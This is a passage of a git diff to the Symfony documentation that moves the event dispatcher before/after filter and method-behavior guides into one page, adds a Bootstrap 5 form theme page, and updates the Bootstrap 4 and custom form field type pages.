Symfony\Component\HttpKernel\Event\ControllerEvent; + use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException; + use Symfony\Component\HttpKernel\KernelEvents; + + class TokenSubscriber implements EventSubscriberInterface + { + public function __construct( + private array $tokens + ) { + } + + public function onKernelController(ControllerEvent $event): void + { + $controller = $event->getController(); + + // when a controller class defines multiple action methods, the controller + // is returned as [$controllerInstance, 'methodName'] + if (is_array($controller)) { + $controller = $controller[0]; + } + + if ($controller instanceof TokenAuthenticatedController) { + $token = $event->getRequest()->query->get('token'); + if (!in_array($token, $this->tokens)) { + throw new AccessDeniedHttpException('This action needs a valid token!'); + } + } + } + + public static function getSubscribedEvents(): array + { + return [ + KernelEvents::CONTROLLER => 'onKernelController', + ]; + } + } + +That's it! Your ``services.yaml`` file should already be setup to load services from +the ``EventSubscriber`` directory. Symfony takes care of the rest. Your +``TokenSubscriber`` ``onKernelController()`` method will be executed on each request. +If the controller that is about to be executed implements ``TokenAuthenticatedController``, +token authentication is applied. This lets you have a "before" filter on any controller +you want. + +.. tip:: + + If your subscriber is *not* called on each request, double-check that + you're :ref:`loading services <service-container-services-load-example>` from + the ``EventSubscriber`` directory and have :ref:`autoconfigure <services-autoconfigure>` + enabled. You can also manually add the ``kernel.event_subscriber`` tag. + +After Filters with the ``kernel.response`` Event +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In addition to having a "hook" that's executed *before* your controller, you +can also add a hook that's executed *after* your controller. For this example, +imagine that you want to add a ``sha1`` hash (with a salt using that token) to +all responses that have passed this token authentication. + +Another core Symfony event - called ``kernel.response`` (aka ``KernelEvents::RESPONSE``) - +is notified on every request, but after the controller returns a Response object. +To create an "after" listener, create a listener class and register +it as a service on this event. + +For example, take the ``TokenSubscriber`` from the previous example and first +record the authentication token inside the request attributes. This will +serve as a basic flag that this request underwent token authentication:: + + public function onKernelController(ControllerEvent $event): void + { + // ... + + if ($controller instanceof TokenAuthenticatedController) { + $token = $event->getRequest()->query->get('token'); + if (!in_array($token, $this->tokens)) { + throw new AccessDeniedHttpException('This action needs a valid token!'); + } + + // mark the request as having passed token authentication + $event->getRequest()->attributes->set('auth_token', $token); + } + } + +Now, configure the subscriber to listen to another event and add ``onKernelResponse()``. +This will look for the ``auth_token`` flag on the request object and set a custom +header on the response if it's found:: + + // add the new use statement at the top of your file + use Symfony\Component\HttpKernel\Event\ResponseEvent; + + public function onKernelResponse(ResponseEvent $event): void + { + // check to see if onKernelController marked this as a token "auth'ed" request + if (!$token = $event->getRequest()->attributes->get('auth_token')) { + return; + } + + $response = $event->getResponse(); + + // create a hash and set it as a response header + $hash = sha1($response->getContent().$token); + $response->headers->set('X-CONTENT-HASH', $hash); + } + + public static function getSubscribedEvents(): array + { + return [ + KernelEvents::CONTROLLER => 'onKernelController', + KernelEvents::RESPONSE => 'onKernelResponse', + ]; + } + +That's it! The ``TokenSubscriber`` is now notified before every controller is +executed (``onKernelController()``) and after every controller returns a response +(``onKernelResponse()``). By making specific controllers implement the ``TokenAuthenticatedController`` +interface, your listener knows which controllers it should take action on. +And by storing a value in the request's "attributes" bag, the ``onKernelResponse()`` +method knows to add the extra header. Have fun! + +.. _event-dispatcher-method-behavior: + +How to Customize a Method Behavior without Using Inheritance +------------------------------------------------------------ + +If you want to do something right before, or directly after a method is +called, you can dispatch an event respectively at the beginning or at the +end of the method:: + + class CustomMailer + { + // ... -.. toctree:: - :maxdepth: 1 + public function send(string $subject, string $message): mixed + { + // dispatch an event before the method + $event = new BeforeSendMailEvent($subject, $message); + $this->dispatcher->dispatch($event, 'mailer.pre_send'); + + // get $subject and $message from the event, they may have been modified + $subject = $event->getSubject(); + $message = $event->getMessage(); + + // the real method implementation is here + $returnValue = ...; + + // do something after the method + $event = new AfterSendMailEvent($returnValue); + $this->dispatcher->dispatch($event, 'mailer.post_send'); + + return $event->getReturnValue(); + } + } + +In this example, two events are dispatched: + +#. ``mailer.pre_send``, before the method is called, +#. and ``mailer.post_send`` after the method is called. + +Each uses a custom Event class to communicate information to the listeners +of the two events. For example, ``BeforeSendMailEvent`` might look like +this:: + + // src/Event/BeforeSendMailEvent.php + namespace App\Event; + + use Symfony\Contracts\EventDispatcher\Event; + + class BeforeSendMailEvent extends Event + { + public function __construct( + private string $subject, + private string $message, + ) { + } + + public function getSubject(): string + { + return $this->subject; + } + + public function setSubject(string $subject): string + { + $this->subject = $subject; + } + + public function getMessage(): string + { + return $this->message; + } + + public function setMessage(string $message): void + { + $this->message = $message; + } + } + +And the ``AfterSendMailEvent`` even like this:: + + // src/Event/AfterSendMailEvent.php + namespace App\Event; + + use Symfony\Contracts\EventDispatcher\Event; + + class AfterSendMailEvent extends Event + { + public function __construct( + private mixed $returnValue, + ) { + } + + public function getReturnValue(): mixed + { + return $this->returnValue; + } + + public function setReturnValue(mixed $returnValue): void + { + $this->returnValue = $returnValue; + } + } + +Both events allow you to get some information (e.g. ``getMessage()``) and even change +that information (e.g. ``setMessage()``). + +Now, you can create an event subscriber to hook into this event. For example, you +could listen to the ``mailer.post_send`` event and change the method's return value:: + + // src/EventSubscriber/MailPostSendSubscriber.php + namespace App\EventSubscriber; + + use App\Event\AfterSendMailEvent; + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + + class MailPostSendSubscriber implements EventSubscriberInterface + { + public function onMailerPostSend(AfterSendMailEvent $event): void + { + $returnValue = $event->getReturnValue(); + // modify the original $returnValue value + + $event->setReturnValue($returnValue); + } + + public static function getSubscribedEvents(): array + { + return [ + 'mailer.post_send' => 'onMailerPostSend', + ]; + } + } + +That's it! Your subscriber should be called automatically (or read more about +:ref:`event subscriber configuration <ref-event-subscriber-configuration>`). + +Learn More +---------- - event_dispatcher/before_after_filters - event_dispatcher/method_behavior +- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>` +- :doc:`/reference/events` +- :ref:`Security-related Events <security-security-events>` +- :doc:`/components/event_dispatcher` diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst deleted file mode 100644 index 6c48d62ee24..00000000000 --- a/event_dispatcher/before_after_filters.rst +++ /dev/null @@ -1,237 +0,0 @@ -.. index:: - single: EventDispatcher - -How to Set Up Before and After Filters -====================================== - -It is quite common in web application development to need some logic to be -performed right before or directly after your controller actions acting as -filters or hooks. - -Some web frameworks define methods like ``preExecute()`` and ``postExecute()``, -but there is no such thing in Symfony. The good news is that there is a much -better way to interfere with the Request -> Response process using the -:doc:`EventDispatcher component </components/event_dispatcher>`. - -Token Validation Example ------------------------- - -Imagine that you need to develop an API where some controllers are public -but some others are restricted to one or some clients. For these private features, -you might provide a token to your clients to identify themselves. - -So, before executing your controller action, you need to check if the action -is restricted or not. If it is restricted, you need to validate the provided -token. - -.. note:: - - Please note that for simplicity in this recipe, tokens will be defined - in config and neither database setup nor authentication via the Security - component will be used. - -Before Filters with the ``kernel.controller`` Event ---------------------------------------------------- - -First, define some token configuration as parameters: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - parameters: - tokens: - client1: pass1 - client2: pass2 - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <parameters> - <parameter key="tokens" type="collection"> - <parameter key="client1">pass1</parameter> - <parameter key="client2">pass2</parameter> - </parameter> - </parameters> - </container> - - .. code-block:: php - - // config/services.php - $container->setParameter('tokens', [ - 'client1' => 'pass1', - 'client2' => 'pass2', - ]); - -Tag Controllers to Be Checked -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -A ``kernel.controller`` (aka ``KernelEvents::CONTROLLER``) listener gets notified -on *every* request, right before the controller is executed. So, first, you need -some way to identify if the controller that matches the request needs token validation. - -A clean and easy way is to create an empty interface and make the controllers -implement it:: - - namespace App\Controller; - - interface TokenAuthenticatedController - { - // ... - } - -A controller that implements this interface looks like this:: - - namespace App\Controller; - - use App\Controller\TokenAuthenticatedController; - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - - class FooController extends AbstractController implements TokenAuthenticatedController - { - // An action that needs authentication - public function bar() - { - // ... - } - } - -Creating an Event Subscriber -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Next, you'll need to create an event subscriber, which will hold the logic -that you want to be executed before your controllers. If you're not familiar with -event subscribers, you can learn more about them at :doc:`/event_dispatcher`:: - - // src/EventSubscriber/TokenSubscriber.php - namespace App\EventSubscriber; - - use App\Controller\TokenAuthenticatedController; - use Symfony\Component\EventDispatcher\EventSubscriberInterface; - use Symfony\Component\HttpKernel\Event\ControllerEvent; - use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException; - use Symfony\Component\HttpKernel\KernelEvents; - - class TokenSubscriber implements EventSubscriberInterface - { - private $tokens; - - public function __construct($tokens) - { - $this->tokens = $tokens; - } - - public function onKernelController(ControllerEvent $event) - { - $controller = $event->getController(); - - // when a controller class defines multiple action methods, the controller - // is returned as [$controllerInstance, 'methodName'] - if (is_array($controller)) { - $controller = $controller[0]; - } - - if ($controller instanceof TokenAuthenticatedController) { - $token = $event->getRequest()->query->get('token'); - if (!in_array($token, $this->tokens)) { - throw new AccessDeniedHttpException('This action needs a valid token!'); - } - } - } - - public static function getSubscribedEvents() - { - return [ - KernelEvents::CONTROLLER => 'onKernelController', - ]; - } - } - -That's it! Your ``services.yaml`` file should already be setup to load services from -the ``EventSubscriber`` directory. Symfony takes care of the rest. Your -``TokenSubscriber`` ``onKernelController()`` method will be executed on each request. -If the controller that is about to be executed implements ``TokenAuthenticatedController``, -token authentication is applied. This lets you have a "before" filter on any controller -you want. - -.. tip:: - - If your subscriber is *not* called on each request, double-check that - you're :ref:`loading services <service-container-services-load-example>` from - the ``EventSubscriber`` directory and have :ref:`autoconfigure <services-autoconfigure>` - enabled. You can also manually add the ``kernel.event_subscriber`` tag. - -After Filters with the ``kernel.response`` Event ------------------------------------------------- - -In addition to having a "hook" that's executed *before* your controller, you -can also add a hook that's executed *after* your controller. For this example, -imagine that you want to add a ``sha1`` hash (with a salt using that token) to -all responses that have passed this token authentication. - -Another core Symfony event - called ``kernel.response`` (aka ``KernelEvents::RESPONSE``) - -is notified on every request, but after the controller returns a Response object. -To create an "after" listener, create a listener class and register -it as a service on this event. - -For example, take the ``TokenSubscriber`` from the previous example and first -record the authentication token inside the request attributes. This will -serve as a basic flag that this request underwent token authentication:: - - public function onKernelController(ControllerEvent $event) - { - // ... - - if ($controller[0] instanceof TokenAuthenticatedController) { - $token = $event->getRequest()->query->get('token'); - if (!in_array($token, $this->tokens)) { - throw new AccessDeniedHttpException('This action needs a valid token!'); - } - - // mark the request as having passed token authentication - $event->getRequest()->attributes->set('auth_token', $token); - } - } - -Now, configure the subscriber to listen to another event and add ``onKernelResponse()``. -This will look for the ``auth_token`` flag on the request object and set a custom -header on the response if it's found:: - - // add the new use statement at the top of your file - use Symfony\Component\HttpKernel\Event\ResponseEvent; - - public function onKernelResponse(ResponseEvent $event) - { - // check to see if onKernelController marked this as a token "auth'ed" request - if (!$token = $event->getRequest()->attributes->get('auth_token')) { - return; - } - - $response = $event->getResponse(); - - // create a hash and set it as a response header - $hash = sha1($response->getContent().$token); - $response->headers->set('X-CONTENT-HASH', $hash); - } - - public static function getSubscribedEvents() - { - return [ - KernelEvents::CONTROLLER => 'onKernelController', - KernelEvents::RESPONSE => 'onKernelResponse', - ]; - } - -That's it! The ``TokenSubscriber`` is now notified before every controller is -executed (``onKernelController()``) and after every controller returns a response -(``onKernelResponse()``). By making specific controllers implement the ``TokenAuthenticatedController`` -interface, your listener knows which controllers it should take action on. -And by storing a value in the request's "attributes" bag, the ``onKernelResponse()`` -method knows to add the extra header. Have fun! diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst deleted file mode 100644 index cea11e72d8d..00000000000 --- a/event_dispatcher/method_behavior.rst +++ /dev/null @@ -1,143 +0,0 @@ -.. index:: - single: EventDispatcher - -How to Customize a Method Behavior without Using Inheritance -============================================================ - -Doing something before or after a Method Call ---------------------------------------------- - -If you want to do something right before, or directly after a method is -called, you can dispatch an event respectively at the beginning or at the -end of the method:: - - class CustomMailer - { - // ... - - public function send($subject, $message) - { - // dispatch an event before the method - $event = new BeforeSendMailEvent($subject, $message); - $this->dispatcher->dispatch($event, 'mailer.pre_send'); - - // get $foo and $bar from the event, they may have been modified - $subject = $event->getSubject(); - $message = $event->getMessage(); - - // the real method implementation is here - $returnValue = ...; - - // do something after the method - $event = new AfterSendMailEvent($returnValue); - $this->dispatcher->dispatch($event, 'mailer.post_send'); - - return $event->getReturnValue(); - } - } - -In this example, two events are dispatched: - -#. ``mailer.pre_send``, before the method is called, -#. and ``mailer.post_send`` after the method is called. - -Each uses a custom Event class to communicate information to the listeners -of the two events. For example, ``BeforeSendMailEvent`` might look like -this:: - - // src/Event/BeforeSendMailEvent.php - namespace App\Event; - - use Symfony\Contracts\EventDispatcher\Event; - - class BeforeSendMailEvent extends Event - { - private $subject; - private $message; - - public function __construct($subject, $message) - { - $this->subject = $subject; - $this->message = $message; - } - - public function getSubject() - { - return $this->subject; - } - - public function setSubject($subject) - { - $this->subject = $subject; - } - - public function getMessage() - { - return $this->message; - } - - public function setMessage($message) - { - $this->message = $message; - } - } - -And the ``AfterSendMailEvent`` even like this:: - - // src/Event/AfterSendMailEvent.php - namespace App\Event; - - use Symfony\Contracts\EventDispatcher\Event; - - class AfterSendMailEvent extends Event - { - private $returnValue; - - public function __construct($returnValue) - { - $this->returnValue = $returnValue; - } - - public function getReturnValue() - { - return $this->returnValue; - } - - public function setReturnValue($returnValue) - { - $this->returnValue = $returnValue; - } - } - -Both events allow you to get some information (e.g. ``getMessage()``) and even change -that information (e.g. ``setMessage()``). - -Now, you can create an event subscriber to hook into this event. For example, you -could listen to the ``mailer.post_send`` event and change the method's return value:: - - // src/EventSubscriber/MailPostSendSubscriber.php - namespace App\EventSubscriber; - - use App\Event\AfterSendMailEvent; - use Symfony\Component\EventDispatcher\EventSubscriberInterface; - - class MailPostSendSubscriber implements EventSubscriberInterface - { - public function onMailerPostSend(AfterSendMailEvent $event) - { - $returnValue = $event->getReturnValue(); - // modify the original ``$returnValue`` value - - $event->setReturnValue($returnValue); - } - - public static function getSubscribedEvents() - { - return [ - 'mailer.post_send' => 'onMailerPostSend' - ]; - } - } - -That's it! Your subscriber should be called automatically (or read more about -:ref:`event subscriber configuration <ref-event-subscriber-configuration>`). diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst index aa96afadfb5..eef016aa58a 100644 --- a/form/bootstrap4.rst +++ b/form/bootstrap4.rst @@ -55,13 +55,13 @@ configuration: .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ - 'form_themes' => [ - 'bootstrap_4_layout.html.twig', - ], + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->formThemes(['bootstrap_4_layout.html.twig']); // ... - ]); + }; If you prefer to apply the Bootstrap styles on a form to form basis, include the ``form_theme`` tag in the templates where those forms are used: @@ -77,6 +77,8 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the {{ form(form) }} {% endblock %} +.. _reference-forms-bootstrap4-error-messages: + Error Messages -------------- @@ -86,12 +88,26 @@ is a strong connection between the error and its ``<input>``, as required by the ``form_label()`` internally. If you call to ``form_errors()`` in your template, you'll get the error messages displayed *twice*. +.. tip:: + + Since form errors are rendered *inside* the ``<label>``, you cannot use CSS + ``:after`` to append an asterisk to the label, because it would be displayed + after the error message. Use the :ref:`label <reference-form-option-label>` + or :ref:`label_html <reference-form-option-label-html>` options instead. + Checkboxes and Radios --------------------- For a checkbox/radio field, calling ``form_label()`` doesn't render anything. Due to Bootstrap internals, the label is already rendered by ``form_widget()``. +File inputs +----------- + +File inputs are rendered using the Bootstrap "custom-file" class, which hides +the name of the selected file. To fix that, use the `bs-custom-file-input`_ +JavaScript plugin, as recommended by `Bootstrap Forms documentation`_. + Accessibility ------------- @@ -120,6 +136,8 @@ Symfony Form ``RadioType`` and ``CheckboxType`` by adding some classes to the la {{ form_row(form.myCheckbox, {label_attr: {class: 'switch-custom'} }) }} .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/ +.. _`bs-custom-file-input`: https://www.npmjs.com/package/bs-custom-file-input +.. _`Bootstrap Forms documentation`: https://getbootstrap.com/docs/4.4/components/forms/#file-browser .. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms .. _`custom radio`: https://getbootstrap.com/docs/4.4/components/forms/#radios .. _`custom checkbox`: https://getbootstrap.com/docs/4.4/components/forms/#checkboxes diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst new file mode 100644 index 00000000000..db098a1ba09 --- /dev/null +++ b/form/bootstrap5.rst @@ -0,0 +1,263 @@ +Bootstrap 5 Form Theme +====================== + +Symfony provides several ways of integrating Bootstrap into your application. +The most straightforward way is to add the required ``<link>`` and ``<script>`` +elements in your templates (usually you only include them in the main layout +template which other templates extend from): + +.. code-block:: html+twig + + {# templates/base.html.twig #} + + {# beware that the blocks in your template may be named different #} + {% block stylesheets %} + <!-- Copy CSS from https://getbootstrap.com/docs/5.0/getting-started/introduction/#css --> + {% endblock %} + {% block javascripts %} + <!-- Copy JavaScript from https://getbootstrap.com/docs/5.0/getting-started/introduction/#js --> + {% endblock %} + +If your application uses modern front-end practices, it's better to use +:doc:`Webpack Encore </frontend>` and follow :doc:`this tutorial </frontend/encore/bootstrap>` +to import Bootstrap's sources into your SCSS and JavaScript files. + +The next step is to configure the Symfony application to use Bootstrap 5 styles +when rendering forms. If you want to apply them to all forms, define this +configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/twig.yaml + twig: + form_themes: ['bootstrap_5_layout.html.twig'] + + .. code-block:: xml + + <!-- config/packages/twig.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:twig="http://symfony.com/schema/dic/twig" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/twig + https://symfony.com/schema/dic/twig/twig-1.0.xsd"> + + <twig:config> + <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme> + <!-- ... --> + </twig:config> + </container> + + .. code-block:: php + + // config/packages/twig.php + use Symfony\Config\TwigConfig; + + return static function(TwigConfig $twig): void { + $twig->formThemes(['bootstrap_5_layout.html.twig']); + + // ... + }; + +If you prefer to apply the Bootstrap styles on a form to form basis, include the +``form_theme`` tag in the templates where those forms are used: + +.. code-block:: html+twig + + {# ... #} + {# this tag only applies to the forms defined in this template #} + {% form_theme form 'bootstrap_5_layout.html.twig' %} + + {% block body %} + <h1>User Sign Up:</h1> + {{ form(form) }} + {% endblock %} + +.. note:: + + By default, all inputs are rendered with the ``mb-3`` class on their + container. If you override the ``row_attr`` class option, the ``mb-3`` will + be overridden too and you will need to explicitly add it. + +.. _reference-forms-bootstrap5-error-messages: + +Error Messages +-------------- + +Unlike in the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered +**after** the ``input`` element. However, this still makes a strong connection +between the error and its ``<input>``, as required by the `WCAG 2.0 standard`_. + +Checkboxes and Radios +--------------------- + +For a checkbox/radio field, calling ``form_label()`` doesn't render anything. +Due to Bootstrap internals, the label is already rendered by ``form_widget()``. + +Inline Checkboxes and Radios +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to render your checkbox or radio fields `inline`_, you can add +the ``checkbox-inline`` or ``radio-inline`` class (depending on your Symfony +Form type or ``ChoiceType`` configuration) to the label class. + +.. configuration-block:: + + .. code-block:: php + + $builder + ->add('myCheckbox', CheckboxType::class, [ + 'label_attr' => [ + 'class' => 'checkbox-inline', + ], + ]) + ->add('myRadio', RadioType::class, [ + 'label_attr' => [ + 'class' => 'radio-inline', + ], + ]); + + .. code-block:: twig + + {{ form_row(form.myCheckbox, { + label_attr: { + class: 'checkbox-inline' + } + }) }} + + {{ form_row(form.myRadio, { + label_attr: { + class: 'radio-inline' + } + }) }} + +Switches +~~~~~~~~ + +Bootstrap 5 allows to render checkboxes as `switches`_. You can enable this +feature on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` +class to the label: + +.. configuration-block:: + + .. code-block:: php + + $builder->add('myCheckbox', CheckboxType::class, [ + 'label_attr' => [ + 'class' => 'checkbox-switch', + ], + ]); + + .. code-block:: twig + + {{ form_row(form.myCheckbox, { + label_attr: { + class: 'checkbox-switch' + } + }) }} + +.. tip:: + + You can also render your switches inline by simply adding the + ``checkbox-inline`` class on the ``label_attr`` option:: + + // ... + 'label_attr' => [ + 'class' => 'checkbox-inline checkbox-switch', + ], + // ... + +.. warning:: + + Switches only work with **checkbox**. + +Input group +----------- + +To create `input group`_ in your Symfony Form, simply add the ``input-group`` +class to the ``row_attr`` option. + +.. configuration-block:: + + .. code-block:: php + + $builder->add('email', EmailType::class, [ + 'label' => '@', + 'row_attr' => [ + 'class' => 'input-group', + ], + ]); + + .. code-block:: twig + + {{ form_row(form.email, { + label: '@', + row_attr: { + class: 'input-group' + } + }) }} + +.. warning:: + + If you fill the ``help`` option of your form, it will also be rendered + as part of the group. + +Floating labels +--------------- + +To render an input field with a `floating label`_, you must add a ``label``, +a ``placeholder`` and the ``form-floating`` class to the ``row_attr`` option +of your form type. + +.. configuration-block:: + + .. code-block:: php + + $builder->add('name', TextType::class, [ + 'label' => 'Name', + 'attr' => [ + 'placeholder' => 'Name', + ], + 'row_attr' => [ + 'class' => 'form-floating', + ], + ]); + + .. code-block:: twig + + {{ form_row(form.name, { + label: 'Name', + attr: { + placeholder: 'Name' + }, + row_attr: { + class: 'form-floating' + } + }) }} + +.. warning:: + + You **must** provide a ``label`` and a ``placeholder`` to make floating + labels work properly. + +Accessibility +------------- + +The Bootstrap 5 framework has done a good job making it accessible for +functional variations like impaired vision and cognitive ability. Symfony has +taken this one step further to make sure the form theme complies with the +`WCAG 2.0 standard`_. + +This does not mean that your entire website automatically complies with the full +standard, but it does mean that you have come far in your work to create a +design for **all** users. + +.. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/ +.. _`inline`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#inline +.. _`switches`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#switches +.. _`input group`: https://getbootstrap.com/docs/5.0/forms/input-group/ +.. _`floating label`: https://getbootstrap.com/docs/5.0/forms/floating-labels/ diff --git a/form/button_based_validation.rst b/form/button_based_validation.rst deleted file mode 100644 index 613e6f325f6..00000000000 --- a/form/button_based_validation.rst +++ /dev/null @@ -1,39 +0,0 @@ -.. index:: - single: Forms; Validation groups based on clicked button - -How to Choose Validation Groups Based on the Clicked Button -=========================================================== - -When your form contains multiple submit buttons, you can change the validation -group depending on which button is used to submit the form. For example, -consider a form in a wizard that lets you advance to the next step or go back -to the previous step. Also assume that when returning to the previous step, -the data of the form should be saved, but not validated. - -First, we need to add the two buttons to the form:: - - $form = $this->createFormBuilder($task) - // ... - ->add('nextStep', SubmitType::class) - ->add('previousStep', SubmitType::class) - ->getForm(); - -Then, we configure the button for returning to the previous step to run -specific validation groups. In this example, we want it to suppress validation, -so we set its ``validation_groups`` option to false:: - - $form = $this->createFormBuilder($task) - // ... - ->add('previousStep', SubmitType::class, [ - 'validation_groups' => false, - ]) - ->getForm(); - -Now the form will skip your validation constraints. It will still validate -basic integrity constraints, such as checking whether an uploaded file was too -large or whether you tried to submit text in a number field. - -.. seealso:: - - To see how to use a service to resolve ``validation_groups`` dynamically - read the :doc:`/form/validation_group_service_resolver` article. diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst index 0c5afaa6829..0d92a967fa0 100644 --- a/form/create_custom_field_type.rst +++ b/form/create_custom_field_type.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; Custom field type - How to Create a Custom Form Field Type ====================================== @@ -38,7 +35,7 @@ By convention they are stored in the ``src/Form/Type/`` directory:: class ShippingType extends AbstractType { - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'choices' => [ @@ -49,27 +46,16 @@ By convention they are stored in the ``src/Form/Type/`` directory:: ]); } - public function getParent() + public function getParent(): string { return ChoiceType::class; } } -The ``configureOptions()`` method, which is explained later in this article, -defines the options that can be configured for the form type and sets the -default value of those options. - -The ``getParent()`` method defines which is the form type used as the base of -this type. In this case, the type extends from ``ChoiceType`` to reuse all of -the logic and rendering of that field type. - -.. note:: - - The PHP class extension mechanism and the Symfony form field extension - mechanism are not the same. The parent type returned in ``getParent()`` is - what Symfony uses to build and manage the field type. Making the PHP class - extend from ``AbstractType`` is only a convenient way of implementing the - required ``FormTypeInterface``. +``getParent()`` tells Symfony to take ``ChoiceType`` as a starting point, +then ``configureOptions()`` overrides some of its options. (All methods of the +``FormTypeInterface`` are explained in detail later in this article.) +The resulting form type is a choice field with predefined choices. Now you can add this form type when :doc:`creating Symfony forms </forms>`:: @@ -82,7 +68,7 @@ Now you can add this form type when :doc:`creating Symfony forms </forms>`:: class OrderType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder // ... @@ -108,7 +94,9 @@ following set of fields as the "postal address": .. raw:: html - <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"></object> + <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml" + alt="A wireframe of the custom field type, showing five text inputs: two address lines, the City, the State and the ZIP code." + ></object> As explained above, form types are PHP classes that implement :class:`Symfony\\Component\\Form\\FormTypeInterface`, although it's more @@ -126,30 +114,45 @@ convenient to extend instead from :class:`Symfony\\Component\\Form\\AbstractType // ... } -When a form type doesn't extend from another specific type, there's no need to -implement the ``getParent()`` method (Symfony will make the type extend from the -generic :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`, -which is the parent of all the other types). - These are the most important methods that a form type class can define: .. _form-type-methods-explanation: -``buildForm()`` - It adds and configures other types into this type. It's the same method used - when :ref:`creating Symfony form classes <creating-forms-in-classes>`. +``getParent()`` + If your custom type is based on another type (i.e. they share some + functionality), add this method to return the fully-qualified class name + of that original type. Do not use PHP inheritance for this. + Symfony will call all the form type methods (``buildForm()``, + ``buildView()``, etc.) and type extensions of the parent before + calling the ones defined in your custom type. -``buildView()`` - It sets any extra variables you'll need when rendering the field in a template. + Otherwise, if your custom type is build from scratch, you can omit ``getParent()``. + + By default, the ``AbstractType`` class returns the generic + :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` + type, which is the root parent for all form types in the Form component. ``configureOptions()`` It defines the options configurable when using the form type, which are also - the options that can be used in ``buildForm()`` and ``buildView()`` methods. + the options that can be used in the following methods. Options are inherited + from parent types and parent type extensions, but you can create any custom + option you need. + +``buildForm()`` + It configures the current form and may add nested fields. It's the same + method used when + :ref:`creating Symfony form classes <creating-forms-in-classes>`. + +``buildView()`` + It sets any extra variables you'll need when rendering the field in a form + theme template. ``finishView()`` - When creating a form type that consists of many fields, this method allows - to modify the "view" of any of those fields. For any other use case, it's - recommended to use instead the ``buildView()`` method. + Same as ``buildView()``. This is useful only if your form type consists of + many fields (i.e. A ``ChoiceType`` composed of many radio or checkboxes), + as this method will allow accessing child views with + ``$view['child_name']``. For any other use case, it's recommended to use + ``buildView()`` instead. Defining the Form Type ~~~~~~~~~~~~~~~~~~~~~~ @@ -168,7 +171,7 @@ in the postal address. For the moment, all fields are of type ``TextType``:: { // ... - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('addressLine1', TextType::class, [ @@ -209,7 +212,7 @@ correctly rendered in any template:: class OrderType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder // ... @@ -254,7 +257,7 @@ to define, validate and process their values:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // this defines the available options and their default values when // they are not configured explicitly when using the form type @@ -270,7 +273,8 @@ to define, validate and process their values:: // optionally you can transform the given values for the options to // simplify the further processing of those options - $resolver->setNormalizer('allowed_states', static function (Options $options, $states) { + $resolver->setNormalizer('allowed_states', static function (Options $options, $states): ?array + { if (null === $states) { return $states; } @@ -293,7 +297,7 @@ Now you can configure these options when using the form type:: class OrderType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder // ... @@ -320,7 +324,7 @@ The last step is to use these options when building the form:: { // ... - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... @@ -359,9 +363,8 @@ fragments used to render the types: {# ... here you will add the Twig code ... #} -Then, update the :ref:`form_themes option <reference-twig-tag-form-theme>` to -add this new template at the beginning of the list (the first one overrides the -rest of files): +Then, update the :ref:`form_themes option <config-twig-form-themes>` to +add this new template at the end of the list (each theme overrides all the previous ones): .. configuration-block:: @@ -370,8 +373,8 @@ rest of files): # config/packages/twig.yaml twig: form_themes: - - 'form/custom_types.html.twig' - '...' + - 'form/custom_types.html.twig' .. code-block:: xml @@ -386,20 +389,22 @@ rest of files): https://symfony.com/schema/dic/twig/twig-1.0.xsd"> <twig:config> - <twig:form-theme>form/custom_types.html.twig</twig:form-theme> <twig:form-theme>...</twig:form-theme> + 